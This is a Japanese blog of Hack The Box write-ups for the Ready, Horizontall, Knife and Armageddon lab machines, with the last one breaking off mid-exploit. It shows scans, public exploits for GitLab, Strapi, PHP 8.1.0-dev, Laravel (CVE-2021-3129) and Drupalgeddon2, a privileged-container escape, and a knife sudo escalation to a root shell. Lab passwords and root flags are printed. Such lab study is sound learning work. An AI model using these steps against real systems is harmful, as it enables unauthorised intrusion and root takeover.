家studyをつづって

IT技術やセキュリティで勉強したことをつづっています。

【Hack The Box】Ready

偵察/スキャン

nmapでスキャンします。

┌──(kali㉿kali)-[~]
└─$ nmap -P0 -T4 -sC -sV -A -p- 10.10.10.220                                                                           
Starting Nmap 7.92 ( https://nmap.org )
Stats: 0:00:03 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan Connect Scan Timing: About 0.44% done Stats: 0:00:07 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan Connect Scan Timing: About 1.20% done; ETC: 11:23 (0:09:38 remaining) Warning: 10.10.10.220 giving up on port because retransmission cap hit (6). Stats: 0:11:55 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan Connect Scan Timing: About 98.21% done; ETC: 11:25 (0:00:13 remaining) Nmap scan report for 10.10.10.220 Host is up (0.18s latency). Not shown: 65530 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA) | 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA) |_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519) 5080/tcp open http nginx | http-robots.txt: 53 disallowed entries (15 shown) | / /autocomplete/users /search /api /admin /profile | /dashboard /projects/new /groups/new /groups/*/edit /users /help |_/s/ /snippets/new /snippets/*/edit |_http-trane-info: Problem with XML parsing of /evox/about | http-title: Sign in \xC2\xB7 GitLab |_Requested resource was http://10.10.10.220:5080/users/sign_in 9412/tcp filtered unknown 25896/tcp filtered unknown 47210/tcp filtered unknown Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TCP/22,5080が開いていることがわかりました。

TCP/5080にブラウザにアクセスするとGitLabのページが表示されました。

ブラウザでアクセスした様子

※その他niktoやdirbからは有用な情報は見つけられませんでした。

 

アクセス取得

上記ページでユーザの登録が可能でした。
ユーザを登録しログインすると、Helpのページが見れるようになり、そこでGitLabのバージョンが11.4.7(赤字でアップデートの通知も出ているもの)であることがわかりました。

 

上記バージョンで検索するとExploitの情報が見つかりました。

※自分の環境ではExploit-DBにあったものをうまく動かすことができず、以下のサイトのものを使用させていただきました。Payloadのコマンド部分にあるncが動きませんでした。

github.com

上記Exploitのコードの中でIPアドレスを指定している部分をReadyのIPに変更して実行します。

また、実行するにはリバースシェルを配置するためのHTTPサーバと最終的なリバースシェルの待ち受けが必要になります。

Exploitを実行するとシェルが取得できました。

アクセス取得

権限昇格

/に.dockerenvというファイルがありました。

また以下のコマンド実行結果から、現在コンテナ環境の中にいることがわかります。

git@gitlab:/$ cat /proc/1/cgroup
cat /proc/1/cgroup
12:pids:/docker/a4b61b1d50c277c638fdd83ff7609cc4029aeeef09d501f4f20e360bc859ccda
11:memory:/docker/a4b61b1d50c277c638fdd83ff7609cc4029aeeef09d501f4f20e360bc859ccda
10:perf_event:/docker/a4b61b1d50c277c638fdd83ff7609cc4029aeeef09d501f4f20e360bc859ccda
9:devices:/docker/a4b61b1d50c277c638fdd83ff7609cc4029aeeef09d501f4f20e360bc859ccda
8:freezer:/docker/a4b61b1d50c277c638fdd83ff7609cc4029aeeef09d501f4f20e360bc859ccda
7:rdma:/
6:hugetlb:/docker/a4b61b1d50c277c638fdd83ff7609cc4029aeeef09d501f4f20e360bc859ccda
5:cpuset:/docker/a4b61b1d50c277c638fdd83ff7609cc4029aeeef09d501f4f20e360bc859ccda
4:net_cls,net_prio:/docker/a4b61b1d50c277c638fdd83ff7609cc4029aeeef09d501f4f20e360bc859ccda
3:cpu,cpuacct:/docker/a4b61b1d50c277c638fdd83ff7609cc4029aeeef09d501f4f20e360bc859ccda
2:blkio:/docker/a4b61b1d50c277c638fdd83ff7609cc4029aeeef09d501f4f20e360bc859ccda
1:name=systemd:/docker/a4b61b1d50c277c638fdd83ff7609cc4029aeeef09d501f4f20e360bc859ccda
0::/system.slice/containerd.service

docker関連のファイルを探してみます。

git@gitlab:/opt/backup$ find / -name 'docker*' 2>/dev/null
find / -name 'docker*' 2>/dev/null
/opt/gitlab/embedded/service/gitlab-rails/docker-compose.yml
/opt/gitlab/embedded/service/gitlab-rails/doc/install/docker.md
/opt/gitlab/embedded/service/gitlab-rails/doc/ci/docker
/opt/gitlab/embedded/service/gitlab-rails/doc/ci/services/docker-services.md
/opt/gitlab/embedded/service/gitlab-rails/doc/api/templates/dockerfiles.md
/opt/gitlab/embedded/service/gitlab-rails/docker
/opt/gitlab/embedded/service/gitlab-rails/lib/gitlab/template/dockerfile_template.rb
/opt/gitlab/embedded/lib/ruby/gems/2.4.0/gems/fog-google-1.7.1/ci/docker-image
/opt/gitlab/embedded/lib/ruby/gems/2.4.0/gems/rouge-3.3.0/lib/rouge/demos/docker
/opt/gitlab/embedded/lib/ruby/gems/2.4.0/gems/rouge-3.3.0/lib/rouge/lexers/docker.rb
/opt/gitlab/embedded/lib/ruby/gems/2.4.0/gems/sidekiq-cron-0.6.0/docker-compose.yml
/opt/gitlab/embedded/lib/ruby/gems/2.4.0/gems/serverspec-2.41.3/spec/type/linux/docker_image_spec.rb
/opt/gitlab/embedded/lib/ruby/gems/2.4.0/gems/serverspec-2.41.3/spec/type/linux/docker_container_spec.rb
/opt/gitlab/embedded/lib/ruby/gems/2.4.0/gems/serverspec-2.41.3/spec/type/linux/docker_container_pre_1_8_spec.rb
/opt/gitlab/embedded/lib/ruby/gems/2.4.0/gems/serverspec-2.41.3/lib/serverspec/type/docker_image.rb
/opt/gitlab/embedded/lib/ruby/gems/2.4.0/gems/serverspec-2.41.3/lib/serverspec/type/docker_base.rb
/opt/gitlab/embedded/lib/ruby/gems/2.4.0/gems/serverspec-2.41.3/lib/serverspec/type/docker_container.rb
/opt/gitlab/embedded/lib/ruby/gems/2.4.0/gems/ace-rails-ap-4.1.2/vendor/assets/javascripts/ace/snippets/dockerfile.js
/opt/gitlab/embedded/lib/ruby/gems/2.4.0/gems/flipper-0.13.0/docker-compose.yml
/opt/gitlab/embedded/lib/ruby/gems/2.4.0/gems/specinfra-2.76.2/lib/specinfra/helper/docker.rb
/opt/gitlab/embedded/lib/ruby/gems/2.4.0/gems/specinfra-2.76.2/lib/specinfra/backend/docker.rb
/opt/gitlab/embedded/lib/ruby/gems/2.4.0/gems/specinfra-2.76.2/lib/specinfra/backend/dockerfile.rb
/opt/gitlab/embedded/lib/ruby/gems/2.4.0/gems/rouge-3.2.1/lib/rouge/demos/docker
/opt/gitlab/embedded/lib/ruby/gems/2.4.0/gems/rouge-3.2.1/lib/rouge/lexers/docker.rb
/opt/backup/docker-compose.yml
/usr/share/vim/vim74/ftplugin/dockerfile.vim
/usr/share/vim/vim74/syntax/dockerfile.vim
/etc/apt/apt.conf.d/docker-gzip-indexes
/etc/apt/apt.conf.d/docker-clean
/etc/apt/apt.conf.d/docker-no-languages
/etc/apt/apt.conf.d/docker-autoremove-suggests
/etc/dpkg/dpkg.cfg.d/docker-apt-speedup

/opt/backup/docker-compose.ymlの中を見るとprivileged:trueという文字列が確認できました。

※「docker-compose.yml」はDockerの構成を定義したもので、コンテナはyamlの記載内容を元に起動します。また、「Privileged」は、ホストコンピュータに対するすべてのルート権限を備えたコンテナであることを示します。

git@gitlab:/opt/backup$ cat docker-compose.yml
cat docker-compose.yml
version: '2.4'
services:
  web:
    image: 'gitlab/gitlab-ce:11.4.7-ce.0'
    restart: always
    hostname: 'gitlab.example.com'
    environment:
      GITLAB_OMNIBUS_CONFIG: |
        external_url 'http://172.19.0.2'
        redis['bind']='127.0.0.1'
        redis['port']=6379
        gitlab_rails['initial_root_password']=File.read('/root_pass')
    networks:
      gitlab:
        ipv4_address: 172.19.0.2
    ports:
      - '5080:80'
      #- '127.0.0.1:5080:80'
      #- '127.0.0.1:50443:443'
      #- '127.0.0.1:5022:22'
    volumes:
      - './srv/gitlab/config:/etc/gitlab'
      - './srv/gitlab/logs:/var/log/gitlab'
      - './srv/gitlab/data:/var/opt/gitlab'
      - './root_pass:/root_pass'
      - '/opt/user:/home/dude/'
    privileged: true
    restart: unless-stopped
    #mem_limit: 1024m
networks:
  gitlab:
    driver: bridge
    ipam:
      config:
        - subnet: 172.19.0.0/16

また、同じディレクトリにあるgitlab.rbの中にパスワードの記載がありました。

git@gitlab:/opt/backup$ cat gitlab.rb | grep password
cat gitlab.rb | grep password
#### Email account password
# gitlab_rails['incoming_email_password'] = "[REDACTED]"
#     password: '_the_password_of_the_bind_user'
#     password: '_the_password_of_the_bind_user'
#   '/users/password',
#### Change the initial default admin password and shared runner registration tokens.
# gitlab_rails['initial_root_password'] = "password"
# gitlab_rails['db_password'] = nil
# gitlab_rails['redis_password'] = nil
gitlab_rails['smtp_password'] = "wW59U!ZKMbG9+*#h"
# gitlab_shell['http_settings'] = { user: 'username', password: 'password', ca_file: '/etc/ssl/cert.pem', ca_path: '/etc/pki/tls/certs', self_signed_cert: false}
##! `SQL_USER_PASSWORD_HASH` can be generated using the command `gitlab-ctl pg-password-md5 gitlab`
# postgresql['sql_user_password'] = 'SQL_USER_PASSWORD_HASH'
# postgresql['sql_replication_password'] = "md5 hash of postgresql password" # You can generate with `gitlab-ctl pg-password-md5 `
# redis['password'] = 'redis-password-goes-here'
####! **Master password should have the same value defined in
####!   redis['password'] to enable the instance to transition to/from
# redis['master_password'] = 'redis-password-goes-here'
# geo_secondary['db_password'] = nil
# geo_postgresql['pgbouncer_user_password'] = nil
#     password: PASSWORD
###! generate this with `echo -n '$password + $username' | md5sum`
# pgbouncer['auth_query'] = 'SELECT username, password FROM public.pg_shadow_lookup($1)'
#     password: MD5_PASSWORD_HASH
# postgresql['pgbouncer_user_password'] = nil

 

上記パスワードでsuを実行するとrootになりましたが、root.txtは見つかりません。

capsh --printで、現時点でのプロセスのケーパビリティの設定を見る事が出来ます。

実行結果には、cap_sys_admin、cap_sys_ptrace、cap_dac_override、cap_dac_read_search、およびcap_sys_moduleが許可されており、パーティションのマウント操作が可能となります。

マウント操作により、root.txtが見つかりました。

 

root@gitlab:~# capsh --print
capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,37+eip

Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,37

Securebits: 00/0x0/1'b0
 secure-noroot: no (unlocked)
 secure-no-suid-fixup: no (unlocked)
 secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)


root@gitlab:/# mkdir -p /tmp/porepore
mkdir -p /tmp/porepore
root@gitlab:/# mount /dev/sda2 /mnt/porepore
mount /dev/sda2 /mnt/porepore

root@gitlab:/# cd /mnt/porepore
cd /mnt/porepore

root@gitlab:/mnt/porepore# ls -al
ls -al
total 100
drwxr-xr-x  20 root root  4096 Apr  5  2022 .
drwxr-xr-x   1 root root  4096 Oct  9 13:19 ..
lrwxrwxrwx   1 root root     7 Apr 23  2020 bin -> usr/bin
drwxr-xr-x   3 root root  4096 Apr  5  2022 boot
drwxr-xr-x   2 root root  4096 Apr  5  2022 cdrom
drwxr-xr-x   5 root root  4096 Dec  4  2020 dev
drwxr-xr-x 102 root root  4096 Apr  5  2022 etc
drwxr-xr-x   3 root root  4096 Jul  7  2020 home
lrwxrwxrwx   1 root root     7 Apr 23  2020 lib -> usr/lib
lrwxrwxrwx   1 root root     9 Apr 23  2020 lib32 -> usr/lib32
lrwxrwxrwx   1 root root     9 Apr 23  2020 lib64 -> usr/lib64
lrwxrwxrwx   1 root root    10 Apr 23  2020 libx32 -> usr/libx32
drwx------   2 root root 16384 May  7  2020 lost+found
drwxr-xr-x   2 root root  4096 Apr 23  2020 media
drwxr-xr-x   2 root root  4096 Apr  5  2022 mnt
drwxr-xr-x   4 root root  4096 Apr  5  2022 opt
drwxr-xr-x   2 root root  4096 Apr 15  2020 proc
drwx------  10 root root  4096 Apr  5  2022 root
drwxr-xr-x  10 root root  4096 Apr 23  2020 run
lrwxrwxrwx   1 root root     8 Apr 23  2020 sbin -> usr/sbin
drwxr-xr-x   6 root root  4096 Apr  5  2022 snap
drwxr-xr-x   2 root root  4096 Apr  5  2022 srv
drwxr-xr-x   2 root root  4096 Apr 15  2020 sys
drwxrwxrwt  13 root root 12288 Oct  9 13:23 tmp
drwxr-xr-x  14 root root  4096 Apr  5  2022 usr
drwxr-xr-x  14 root root  4096 Dec  4  2020 var
root@gitlab:/mnt/porepore# cd root
cd root
root@gitlab:/mnt/porepore/root# cat root.txt
cat root.txt
af4f47~~~~~~~~~~~~~~~~295d
root@gitlab:/mnt/porepore/root# 

 

参考にさせていただいたサイト

貴重な情報をありがとうございます。

medium.com

 

 

 

【Hack The Box】Horizontall

偵察/スキャン

nmapでスキャンします。

┌──(kali㉿kali)-[~]
└─$ nmap -T4 -P0 -sC -sV -A -p- 10.10.11.105

Starting Nmap 7.92 ( https://nmap.org ) 
Nmap scan report for 10.10.11.105
Host is up (0.18s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT      STATE    SERVICE VERSION
22/tcp    open     ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 ee:77:41:43:d4:82:bd:3e:6e:6e:50:cd:ff:6b:0d:d5 (RSA)
|   256 3a:d5:89:d5:da:95:59:d9:df:01:68:37:ca:d5:10:b0 (ECDSA)
|_  256 4a:00:04:b4:9d:29:e7:af:37:16:1b:4f:80:2d:98:94 (ED25519)

80/tcp    open     http    nginx 1.14.0 (Ubuntu)
|_http-title: Did not follow redirect to http://horizontall.htb
|_http-server-header: nginx/1.14.0 (Ubuntu)

61217/tcp filtered unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

TCP/22と80が開いているようです。Webでアクセスすると以下のようなページが表示されました。

※IPアドレスを指定したアクセスはできないため、/etc/hostsを編集してURLでアクセスしました。

ブラウザでアクセスした様子

ページの下部に問い合わせのフォームがありましたが動作していないようでした。

その他「http://horizontall.htb」に対してdirbやnikto等実施しましたが有益な情報は得られませんでした。

 

次に、サブドメインの調査を行いました。

┌──(kali㉿kali)-[~]
└─$ gobuster vhost -u http://horizontall.htb -w /home/kali/subdomains-top1million-110000.txt -t 150     
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:          http://horizontall.htb
[+] Method:       GET
[+] Threads:      150
[+] Wordlist:     /home/kali/subdomains-top1million-110000.txt
[+] User Agent:   gobuster/3.1.0
[+] Timeout:      10s
===============================================================
Found: api-prod.horizontall.htb (Status: 200) [Size: 413]
===============================================================わ

ワードリストには以下のものを使用しました。

github.com

上記の結果より、「http://api-prod.horizontall.htb」というサイトが存在することが確認できました。ブラウザでアクセスすると以下のようなページが表示されます。

ブラウザでアクセスした様子

単純にアクセスしただけでは有益な情報が得られなかったため、上記URLに対してさらにgobusterを実行します。

┌──(kali㉿kali)-[~]
└─$ gobuster dir -u http://api-prod.horizontall.htb -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 150
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://api-prod.horizontall.htb
[+] Method:                  GET
[+] Threads:                 150
[+] Wordlist:                /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
/users                (Status: 403) [Size: 60]
/reviews              (Status: 200) [Size: 507]
/admin                (Status: 200) [Size: 854]
/Reviews              (Status: 200) [Size: 507]
/Users                (Status: 403) [Size: 60] 
/Admin                (Status: 200) [Size: 854]
/REVIEWS              (Status: 200) [Size: 507]
/%C0                  (Status: 400) [Size: 69] 
/%D8                  (Status: 400) [Size: 69] 
/%CF                  (Status: 400) [Size: 69] 
/%CE                  (Status: 400) [Size: 69] 
/%CD                  (Status: 400) [Size: 69] 
/%CC                  (Status: 400) [Size: 69] 
/%CB                  (Status: 400) [Size: 69] 
/%CA                  (Status: 400) [Size: 69] 
/%D0                  (Status: 400) [Size: 69] 
/%D1                  (Status: 400) [Size: 69] 
/%D7                  (Status: 400) [Size: 69] 
/%D6                  (Status: 400) [Size: 69] 
/%D5                  (Status: 400) [Size: 69] 
/%D4                  (Status: 400) [Size: 69] 
/%D3                  (Status: 400) [Size: 69] 
/%D2                  (Status: 400) [Size: 69] 
/%C9                  (Status: 400) [Size: 69] 
/%C8                  (Status: 400) [Size: 69] 
/%C1                  (Status: 400) [Size: 69] 
/%C2                  (Status: 400) [Size: 69] 
/%C7                  (Status: 400) [Size: 69] 
/%C6                  (Status: 400) [Size: 69] 
/%C5                  (Status: 400) [Size: 69] 
/%C4                  (Status: 400) [Size: 69] 
/%C3                  (Status: 400) [Size: 69] 
/%D9                  (Status: 400) [Size: 69] 
/%DF                  (Status: 400) [Size: 69] 
/%DE                  (Status: 400) [Size: 69] 
/%DD                  (Status: 400) [Size: 69] 
/%DB                  (Status: 400) [Size: 69] 
===============================================================す

上記よりいくつかの情報が得られました。/adminにアクセスすると以下のようなページが表示されました。

ブラウザでアクセスした様子

このページのソースより、読み込んでいるJavascriptを見るとstrapi(StrapiとはNode.js環境において動作するオープンソースヘッドレスCMS)のバージョンがstrapi-plugin-content-type-builder@3.0.0-beta.17.4であることがわかりました。

 

余談:gobusterのdnsとvhostの違い

今回gobusterでサブドメインの調査を行いました。

gobusterにはいくつか動作モードがありますが、DNSモードは特定のドメインのサブドメインを検索します。-rのオプションにあるようにDNSサーバを指定して実行するモードです。
それに対してVHOSTモードは指定したURLにアクセスしてサブドメインが存在するかどうかを確認します。そのため、今回はvhostモードで実行しました。

 

アクセス取得

上記で得られた情報をもとにアクセスを試みます。

バージョン情報で検索するとRCEのexploit情報が見つかりました。

www.exploit-db.com

上記実行するとアクセス取得はできたようですが、自由にコマンドが打てませんでした。CVE番号で検索をすると他のexploitも見つかりました。

github.com

上記は実行時にJSOC Web Token(JWT)を引数に指定します。ncで待ち受けた状態で、JWTは前のexploit実行時に表示されていたものを指定して実行します。

2つ目のexploit実行

待ち受け側でインタラクティブシェルを取得することができました。

nc待ち受け側

 

権限昇格

取得したシェルでlinpeasを実行しました。

╔══════════╣ Active Ports
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports                                                
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                                            
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:1337          0.0.0.0:*               LISTEN      1872/node /usr/bin/ 
tcp        0      0 127.0.0.1:8000          0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -   

Active Portを見ると3306(MySql)、1337(APIの呼び出し用)以外に8000番が開いていました。取得しているシェルよりcurlでアクセスすると、Laravel v8が動いていることがわかりました。

ポート8000へのアクセス結果

LaravelV8について調べると脆弱性(CVE-2021-3129)の情報が見つかりました。 また、脆弱性に関連するexploitも見つかりましたが、これはkaliで実行する必要があるようです。 BOX自身からしかアクセスできないTCP/8000に対してexploitを実行するためにSSHポートフォワーディングを行います。 最初に、ssh-keygenでSSHキーペアを作成します。そして一緒に作成される.pubをBOX上に登録します。

┌──(kali㉿kali)-[~]
└─$ cat id-rsa.pub 
ssh-rsa AAAA~SzaVkBUaV6E= kali@kali

上記をコピーしてBOX上で以下を実行します。

strapi@horizontall:~/.ssh$ echo "ssh-rsa AAAA~SzaVkBUaV6E= kali@kali" >> authorized_keys

その後、KaliでBOXに対してSSHアクセスを行います。

┌──(kali㉿kali)-[~]
└─$ ssh -i id-rsa -L 8000:localhost:8000 strapi@10.10.11.105
The authenticity of host '10.10.11.105 (10.10.11.105)' can't be established.
ED25519 key fingerprint is SHA256:Xe1jfjgC2NgH1uDUUr14erdojTBy+zenI7KtOwu8+ZY.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.105' (ED25519) to the list of known hosts.
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-154-generic x86_64)
 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage
  System information as of Thu Sep 22 04:28:40 UTC 2022
  System load:  0.0               Processes:           180
  Usage of /:   82.2% of 4.85GB   Users logged in:     0
  Memory usage: 43%               IP address for eth0: 10.10.11.105
  Swap usage:   0%
0 updates can be applied immediately.

$ 

ここまでで、kaliの8000番ポートとBOX上の8000ポートが接続できました。

Kali上でブラウザより8000にアクセスするとLaravelの画面が表示されます。

ポート8000へのアクセス

この状態でLaravelのexploitを実行してみます。

git clone https://github.com/nth347/CVE-2021-3129_exploit.git

┌──(kali㉿kali)-[~]
└─$ cd CVE-2021-3129_exploit 
                                                                                                                           
┌──(kali㉿kali)-[~/CVE-2021-3129_exploit]
└─$ chmod +x exploit.py     
                                                                                                                           
┌──(kali㉿kali)-[~/CVE-2021-3129_exploit]
└─$ python3 exploit.py http://localhost:8000 Monolog/RCE1 id                                                          
[i] Trying to clear logs
[+] Logs cleared
[i] PHPGGC not found. Cloning it
Cloning into 'phpggc'...
remote: Enumerating objects: 2962, done.
remote: Counting objects: 100% (508/508), done.
remote: Compressing objects: 100% (210/210), done.
remote: Total 2962 (delta 362), reused 308 (delta 283), pack-reused 2454
Receiving objects: 100% (2962/2962), 430.81 KiB | 7.69 MiB/s, done.
Resolving deltas: 100% (1234/1234), done.
[+] Successfully converted logs to PHAR
[+] PHAR deserialized. Exploited

uid=0(root) gid=0(root) groups=0(root)
[i] Trying to clear logs
[+] Logs cleared

※rootが取得できている
┌──(kali㉿kali)-[~/CVE-2021-3129_exploit] └─$ python3 exploit.py http://localhost:8000 Monolog/RCE1 "cat /root/root.txt" 1 ⨯ [i] Trying to clear logs [+] Logs cleared [+] PHPGGC found. Generating payload and deploy it to the target [+] Successfully converted logs to PHAR [+] PHAR deserialized. Exploited 615b3e97c73f7fa2a5fb0e10af859ee9 [i] Trying to clear logs [+] Logs cleared

フラグを取得できました。

 

参考にさせていただいたサイト

貴重な情報をありがとうございます。

erev0s.com

burakozlu.medium.com

pencer.io

 

 

 

【Hack The Box】Knife

偵察/スキャン

nmapでスキャンします。

┌──(kali㉿kali)-[~]
└─$ nmap -T4 -P0 -sC -sV -A -p- 10.10.10.242
Starting Nmap 7.92 ( https://nmap.org ) 
Nmap scan report for 10.10.10.242
Host is up (0.19s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 be:54:9c:a3:67:c3:15:c3:64:71:7f:6a:53:4a:4c:21 (RSA)
|   256 bf:8a:3f:d4:06:e9:2e:87:4e:c9:7e:ab:22:0e:c0:ee (ECDSA)
|_  256 1a:de:a1:cc:37:ce:53:bb:1b:fb:2b:0b:ad:b3:f6:84 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title:  Emergent Medical Idea
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

TCP22,80が開いているようです。

ブラウザでアクセスすると以下のような画面が表示されました。

ブラウザでアクセスした様子

サイト内にはリンクやフォームはなく、ページのソースを見ても使用しているCMS等の情報は見つけられませんでした。また、dirb等からも情報は得られませんでした。

curlコマンドを使用してみると、PHP/8.1.0で構築されていることがわかりました。

┌──(kali㉿kali)-[~]
└─$ curl -v "http://10.10.10.242"                                                           
*   Trying 10.10.10.242:80...
* Connected to 10.10.10.242 (10.10.10.242) port 80 (#0)
> GET / HTTP/1.1
> Host: 10.10.10.242
> User-Agent: curl/7.84.0
> Accept: */*
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: Apache/2.4.41 (Ubuntu)
< X-Powered-By: PHP/8.1.0-dev
< Vary: Accept-Encoding
< Transfer-Encoding: chunked
< Content-Type: text/html; charset=UTF-8

PHP8.1.0の脆弱性を調べてみると「‘User-Agentt’ Remote Code Execution」の情報が見つかりました。

アクセス取得

上記で得られた情報をもとにアクセスを取得してみます。

exploitのダウンロード

git clone https://github.com/flast101/php-8.1.0-dev-backdoor-rce

 

ncで待ち受けして上記を実行するとアクセスが取得できました。

アクセス取得

 

権限昇格

アクセス取得後に「sudo -l」を実行するとknifeコマンドがroot権限で実行できることがわかりました。

knifeは初めて見るコマンドだったので調べてみました。

knifeとは、Chefに含まれるコマンドラインツールです。

ChefとはアメリカのOpscode社が提供するサーバ設定管理ツールで、同様のツールにはPuppetがあるそうです。

www.creationline.com

 

また、コマンドはrubyで作成されているようで、「knife exec スクリプト名」のように指定するとrubyのスクリプトが実行できるようです。

knifeコマンドの中身

docs.chef.io

スクリプトファイルはtmpディレクトリで作成しました。

echo 'exec "/bin/bash -i"' > config.rb

上記で作成したファイルを指定して、knifeコマンドを実行するとrootが取得できました。

root取得

 

参考にさせていただいたサイト

貴重な情報をありがとうございます。

mopenten.com

www.secjuice.com

 

 

 

【Hack The Box】Armageddon

偵察/スキャン

nmapでスキャンします。

┌──(kali㉿kali)-[~]
└─$ nmap -T4 -P0 -sC -sV -A -p- 10.10.10.233

Starting Nmap 7.92 ( https://nmap.org )
Nmap scan report for 10.10.10.233
Host is up (0.23s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 82:c6:bb:c7:02:6a:93:bb:7c:cb:dd:9c:30:93:79:34 (RSA)
|   256 3a:ca:95:30:f3:12:d7:ca:45:05:bc:c7:f1:16:bb:fc (ECDSA)
|_  256 7a:d4:b3:68:79:cf:62:8a:7d:5a:61:e7:06:0f:5f:33 (ED25519)

80/tcp open  http    Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/ 
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt 
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt 
|_/LICENSE.txt /MAINTAINERS.txt
|_http-generator: Drupal 7 (http://drupal.org)
|_http-title: Welcome to  Armageddon |  Armageddon
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16

 

なお、droopescanではバージョンが7.56であることがわかります。

┌──(kali㉿kali)-[~/droopescan]
└─$ ./droopescan scan drupal -u http://10.10.10.233                                                         

[+] Plugins found:                                                              
    profile http://10.10.10.233/modules/profile/
    php http://10.10.10.233/modules/php/
    image http://10.10.10.233/modules/image/

[+] Themes found:
    seven http://10.10.10.233/themes/seven/
    garland http://10.10.10.233/themes/garland/
[+] Possible version(s):     7.56 [+] Possible interesting urls found:     Default changelog file - http://10.10.10.233/CHANGELOG.txt

※補足:droopescanのインストール

git clone https://github.com/droope/droopescan.git
cd droopescan
pip install -r requirements.txt

Hack The Boxでは名前がヒントになっていることがありますが、DrupalのExploitを検索すると今回のバージョンが該当する脆弱性が見つかりました。

┌──(kali㉿kali)-[~]
└─$ searchsploit  drupal

------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                             |  Path
------------------------------------------------------------------------------------------- ---------------------------------



Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution        | php/webapps/44449.rb

 

参考:CVE-2018-7600(Drupalgeddon2)

https://www.mbsd.jp/Whitepaper/CVE-2018-7600.pdf

 

アクセス取得

上記のexploitを実行してみます。

┌──(kali㉿kali)-[~]
└─$ searchsploit -m 44449 
  Exploit: Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution
      URL: https://www.exploit-db.com/exploits/44449
     Path: /usr/share/exploitdb/exploits/php/webapps/44449.rb
File Type: Ruby script, ASCII text

Copied to: /home/kali/44449.rb

┌──(kali㉿kali)-[~]
└─$ ruby 44449.rb http://10.10.10.233
[*] --==[::#Drupalggedon2::]==--
--------------------------------------------------------------------------------
[i] Target : http://10.10.10.233/
